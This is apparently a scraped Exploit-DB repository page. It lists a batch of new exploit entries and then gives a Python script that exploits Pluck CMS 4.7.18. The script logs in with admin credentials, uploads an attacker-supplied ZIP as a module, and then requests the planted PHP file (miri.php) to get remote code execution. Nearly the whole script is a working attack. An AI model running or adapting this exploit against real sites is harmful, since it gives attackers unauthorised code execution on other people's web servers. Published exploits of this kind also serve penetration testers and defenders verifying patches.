fd788a92e3
9 changes to exploits/shellcodes/ghdb Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass Netlify CMS 2.10.192 - Stored Cross-Site Scripting (XSS) Admidio v4.2.10 - Remote Code Execution (RCE) Bus Pass Management System 1.0 - 'viewid' Insecure direct object references (IDOR) Bus Pass Management System 1.0 - 'viewid' SQL Injection Bus Pass Management System 1.0 - 'viewid' Insecure direct object references (IDOR) Bus Pass Management System 1.0 - 'viewid' SQL Injection Icinga Web 2.10 - Authenticated Remote Code Execution News Portal v4.0 - SQL Injection (Unauthorized) Pluck v4.7.18 - Remote Code Execution (RCE) ProjeQtOr Project Management System v10.4.1 - Multiple XSS WinterCMS < 1.2.3 - Persistent Cross-Site Scripting XAMPP 8.2.4 - Unquoted Path
57 lines
No EOL
1.5 KiB
Python
Executable file
57 lines
No EOL
1.5 KiB
Python
Executable file
#Exploit Title: Pluck v4.7.18 - Remote Code Execution (RCE)
|
|
#Application: pluck
|
|
#Version: 4.7.18
|
|
#Bugs: RCE
|
|
#Technology: PHP
|
|
#Vendor URL: https://github.com/pluck-cms/pluck
|
|
#Software Link: https://github.com/pluck-cms/pluck
|
|
#Date of found: 10-07-2023
|
|
#Author: Mirabbas Ağalarov
|
|
#Tested on: Linux
|
|
|
|
|
|
import requests
|
|
from requests_toolbelt.multipart.encoder import MultipartEncoder
|
|
|
|
login_url = "http://localhost/pluck/login.php"
|
|
upload_url = "http://localhost/pluck/admin.php?action=installmodule"
|
|
headers = {"Referer": login_url,}
|
|
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}
|
|
|
|
file_path = input("ZIP file path: ")
|
|
|
|
multipart_data = MultipartEncoder(
|
|
fields={
|
|
"sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
|
|
"submit": "Upload"
|
|
}
|
|
)
|
|
|
|
session = requests.Session()
|
|
login_response = session.post(login_url, headers=headers, data=login_payload)
|
|
|
|
|
|
if login_response.status_code == 200:
|
|
print("Login account")
|
|
|
|
|
|
upload_headers = {
|
|
"Referer": upload_url,
|
|
"Content-Type": multipart_data.content_type
|
|
}
|
|
upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)
|
|
|
|
|
|
if upload_response.status_code == 200:
|
|
print("ZIP file download.")
|
|
else:
|
|
print("ZIP file download error. Response code:", upload_response.status_code)
|
|
else:
|
|
print("Login problem. response code:", login_response.status_code)
|
|
|
|
|
|
rce_url="http://localhost/pluck/data/modules/mirabbas/miri.php"
|
|
|
|
rce=requests.get(rce_url)
|
|
|
|
print(rce.text) |